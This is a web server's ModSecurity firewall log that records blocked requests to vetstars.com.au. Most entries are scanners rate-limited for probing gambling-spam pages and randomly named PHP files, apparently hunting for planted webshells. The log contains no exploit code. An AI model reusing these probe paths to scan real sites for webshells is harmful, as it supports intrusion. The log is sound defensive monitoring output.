[Sat Apr 11 00:47:34.884961 2026] [:error] [pid 21706:tid 21722] [client 185.89.110.143:45483] [client 185.89.110.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "close, keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adkppiGQ1M5d8fQSsLFf6AAAAA4"]
[Sat Apr 11 00:59:22.526992 2026] [:error] [pid 21569:tid 21649] [client 152.53.187.237:47888] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "adksanAvQTgvXJ6vHop_FQAAAIQ"]
[Sat Apr 11 00:59:25.476125 2026] [:error] [pid 21568:tid 21575] [client 152.53.187.237:47908] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "adksbYiz5v_ljZxkpR-itwAAAQM"]
[Sat Apr 11 00:59:28.461139 2026] [:error] [pid 21568:tid 21594] [client 152.53.187.237:47910] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "adkscIiz5v_ljZxkpR-iuwAAARY"]
[Sat Apr 11 00:59:31.516198 2026] [:error] [pid 21568:tid 21583] [client 152.53.187.237:64610] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "adksc4iz5v_ljZxkpR-ivwAAAQs"]
[Sat Apr 11 00:59:34.727951 2026] [:error] [pid 21570:tid 21695] [client 152.53.187.237:64618] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "adksdjKs5t9xRSNL6cmkawAAAFU"]
[Sat Apr 11 00:59:37.698853 2026] [:error] [pid 21570:tid 21672] [client 152.53.187.237:64620] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "adkseTKs5t9xRSNL6cmkcwAAAEU"]
[Sat Apr 11 01:00:04.316429 2026] [:error] [pid 21706:tid 21709] [client 152.53.187.237:56694] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "adkslCGQ1M5d8fQSsLFwvgAAAAE"]
[Sat Apr 11 01:00:07.212021 2026] [:error] [pid 21706:tid 21718] [client 152.53.187.237:56708] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "adkslyGQ1M5d8fQSsLFwzgAAAAo"]
[Sat Apr 11 01:00:10.481506 2026] [:error] [pid 21570:tid 21675] [client 152.53.187.237:56714] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "adksmjKs5t9xRSNL6cmlEQAAAEc"]
[Sat Apr 11 01:01:00.044544 2026] [:error] [pid 21706:tid 21727] [client 152.53.187.237:59516] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adkszCGQ1M5d8fQSsLFyMAAAABM"]
[Sat Apr 11 02:15:26.051837 2026] [:error] [pid 55451:tid 55460] [client 51.107.88.105:45416] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adk-PnApxuyB7yCS5RkbKgAAAMc"]
[Sat Apr 11 02:15:26.652569 2026] [:error] [pid 55451:tid 55458] [client 51.107.88.105:40559] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adk-PnApxuyB7yCS5RkbLQAAAMU"]
[Sat Apr 11 02:15:27.366767 2026] [:error] [pid 21569:tid 21674] [client 51.107.88.105:45989] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adk-P3AvQTgvXJ6vHoqkBwAAAJQ"]
[Sat Apr 11 02:15:28.112779 2026] [:error] [pid 55451:tid 55468] [client 51.107.88.105:40458] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adk-QHApxuyB7yCS5RkbNAAAAM8"]
[Sat Apr 11 02:18:25.918365 2026] [:error] [pid 21570:tid 21677] [client 51.107.88.105:53665] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adk-8TKs5t9xRSNL6cnSuwAAAEg"]
[Sat Apr 11 02:18:26.565160 2026] [:error] [pid 21568:tid 21580] [client 51.107.88.105:32268] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adk-8oiz5v_ljZxkpR_YNwAAAQg"]
[Sat Apr 11 02:18:27.079850 2026] [:error] [pid 21570:tid 21663] [client 51.107.88.105:28776] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adk-8zKs5t9xRSNL6cnSwAAAAEE"]
[Sat Apr 11 02:18:28.048476 2026] [:error] [pid 21706:tid 21728] [client 51.107.88.105:45978] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adk-9CGQ1M5d8fQSsLG60wAAABQ"]
[Sat Apr 11 02:18:28.605212 2026] [:error] [pid 21706:tid 21731] [client 51.107.88.105:48573] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oircv.php"] [unique_id "adk-9CGQ1M5d8fQSsLG61QAAABc"]
[Sat Apr 11 02:18:29.766636 2026] [:error] [pid 21568:tid 21588] [client 51.107.88.105:40754] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oircv.php"] [unique_id "adk-9Yiz5v_ljZxkpR_YRgAAARA"]
[Sat Apr 11 02:18:30.370404 2026] [:error] [pid 21568:tid 21576] [client 51.107.88.105:48531] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oircv.php"] [unique_id "adk-9oiz5v_ljZxkpR_YSgAAAQQ"]
[Sat Apr 11 02:18:31.040180 2026] [:error] [pid 55451:tid 55460] [client 51.107.88.105:40520] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oircv.php"] [unique_id "adk-93ApxuyB7yCS5RkdWAAAAMc"]
[Sat Apr 11 02:18:31.594028 2026] [:error] [pid 21570:tid 21687] [client 51.107.88.105:40523] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "adk-9zKs5t9xRSNL6cnSxwAAAE0"]
[Sat Apr 11 02:18:32.277661 2026] [:error] [pid 21570:tid 21695] [client 51.107.88.105:56561] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "adk--DKs5t9xRSNL6cnSyQAAAFU"]
[Sat Apr 11 02:18:33.040148 2026] [:error] [pid 21706:tid 21712] [client 51.107.88.105:45412] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "adk--SGQ1M5d8fQSsLG64wAAAAQ"]
[Sat Apr 11 02:18:33.839851 2026] [:error] [pid 21706:tid 21718] [client 51.107.88.105:40530] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "adk--SGQ1M5d8fQSsLG66AAAAAo"]
[Sat Apr 11 02:18:34.505554 2026] [:error] [pid 21706:tid 21728] [client 51.107.88.105:51433] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adk--iGQ1M5d8fQSsLG67QAAABQ"]
[Sat Apr 11 02:18:35.684989 2026] [:error] [pid 21568:tid 21589] [client 51.107.88.105:40482] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adk--4iz5v_ljZxkpR_YTgAAARE"]
[Sat Apr 11 02:18:36.285721 2026] [:error] [pid 21568:tid 21583] [client 51.107.88.105:61662] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adk-_Iiz5v_ljZxkpR_YUQAAAQs"]
[Sat Apr 11 02:18:36.900290 2026] [:error] [pid 21706:tid 21727] [client 51.107.88.105:28783] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adk-_CGQ1M5d8fQSsLG69AAAABM"]
[Sat Apr 11 02:18:37.515484 2026] [:error] [pid 21568:tid 21581] [client 51.107.88.105:40457] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "adk-_Yiz5v_ljZxkpR_YVAAAAQk"]
[Sat Apr 11 02:18:38.238700 2026] [:error] [pid 21570:tid 21698] [client 51.107.88.105:55879] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "adk-_jKs5t9xRSNL6cnSzgAAAFg"]
[Sat Apr 11 02:18:39.209740 2026] [:error] [pid 55451:tid 55469] [client 51.107.88.105:45983] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "adk-_3ApxuyB7yCS5RkdagAAANA"]
[Sat Apr 11 02:18:41.035956 2026] [:error] [pid 55451:tid 55469] [client 51.107.88.105:61673] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "adk_AXApxuyB7yCS5RkdcwAAANA"]
[Sat Apr 11 02:18:42.026206 2026] [:error] [pid 21706:tid 21720] [client 51.107.88.105:45972] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "adk_AiGQ1M5d8fQSsLG6_QAAAAw"]
[Sat Apr 11 02:18:42.595147 2026] [:error] [pid 21706:tid 21714] [client 51.107.88.105:62106] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "adk_AiGQ1M5d8fQSsLG7AQAAAAY"]
[Sat Apr 11 02:18:43.138719 2026] [:error] [pid 21706:tid 21730] [client 51.107.88.105:40575] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "adk_AyGQ1M5d8fQSsLG7BQAAABY"]
[Sat Apr 11 02:18:43.614097 2026] [:error] [pid 21706:tid 21721] [client 51.107.88.105:56569] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "adk_AyGQ1M5d8fQSsLG7BwAAAA0"]
[Sat Apr 11 02:18:44.231669 2026] [:error] [pid 21569:tid 21656] [client 51.107.88.105:37479] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adk_BHAvQTgvXJ6vHoqk9wAAAIs"]
[Sat Apr 11 02:18:45.048634 2026] [:error] [pid 21568:tid 21583] [client 51.107.88.105:62098] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adk_BYiz5v_ljZxkpR_YawAAAQs"]
[Sat Apr 11 02:18:45.784891 2026] [:error] [pid 21569:tid 21652] [client 51.107.88.105:52005] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adk_BXAvQTgvXJ6vHoqk_QAAAIc"]
[Sat Apr 11 02:18:46.682689 2026] [:error] [pid 21706:tid 21728] [client 51.107.88.105:62112] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adk_BiGQ1M5d8fQSsLG7DgAAABQ"]
[Sat Apr 11 02:18:47.312823 2026] [:error] [pid 21569:tid 21676] [client 51.107.88.105:51988] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "adk_B3AvQTgvXJ6vHoqlAAAAAJU"]
[Sat Apr 11 02:18:47.908680 2026] [:error] [pid 21570:tid 21694] [client 51.107.88.105:45392] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "adk_BzKs5t9xRSNL6cnS3AAAAFQ"]
[Sat Apr 11 02:18:48.576624 2026] [:error] [pid 21570:tid 21685] [client 51.107.88.105:40532] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "adk_CDKs5t9xRSNL6cnS3gAAAEw"]
[Sat Apr 11 02:18:49.136677 2026] [:error] [pid 21706:tid 21723] [client 51.107.88.105:40752] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "adk_CSGQ1M5d8fQSsLG7IQAAAA8"]
[Sat Apr 11 02:18:49.688756 2026] [:error] [pid 21568:tid 21579] [client 51.107.88.105:28758] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "adk_CYiz5v_ljZxkpR_YcAAAAQc"]
[Sat Apr 11 02:18:50.285700 2026] [:error] [pid 21569:tid 21646] [client 51.107.88.105:40488] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "adk_CnAvQTgvXJ6vHoqlBQAAAIE"]
[Sat Apr 11 02:18:50.881763 2026] [:error] [pid 21568:tid 21586] [client 51.107.88.105:37475] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "adk_Coiz5v_ljZxkpR_YdQAAAQ4"]
[Sat Apr 11 02:18:51.785960 2026] [:error] [pid 55451:tid 55477] [client 51.107.88.105:32292] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "adk_C3ApxuyB7yCS5RkdfAAAANg"]
[Sat Apr 11 02:18:52.650180 2026] [:error] [pid 21706:tid 21712] [client 51.107.88.105:55880] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adk_DCGQ1M5d8fQSsLG7MwAAAAQ"]
[Sat Apr 11 02:18:53.371122 2026] [:error] [pid 21706:tid 21713] [client 51.107.88.105:48524] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adk_DSGQ1M5d8fQSsLG7OAAAAAU"]
[Sat Apr 11 02:18:54.146784 2026] [:error] [pid 55451:tid 55456] [client 51.107.88.105:56554] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adk_DnApxuyB7yCS5RkdgwAAAMM"]
[Sat Apr 11 02:18:54.843981 2026] [:error] [pid 21706:tid 21730] [client 51.107.88.105:46005] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adk_DiGQ1M5d8fQSsLG7QAAAABY"]
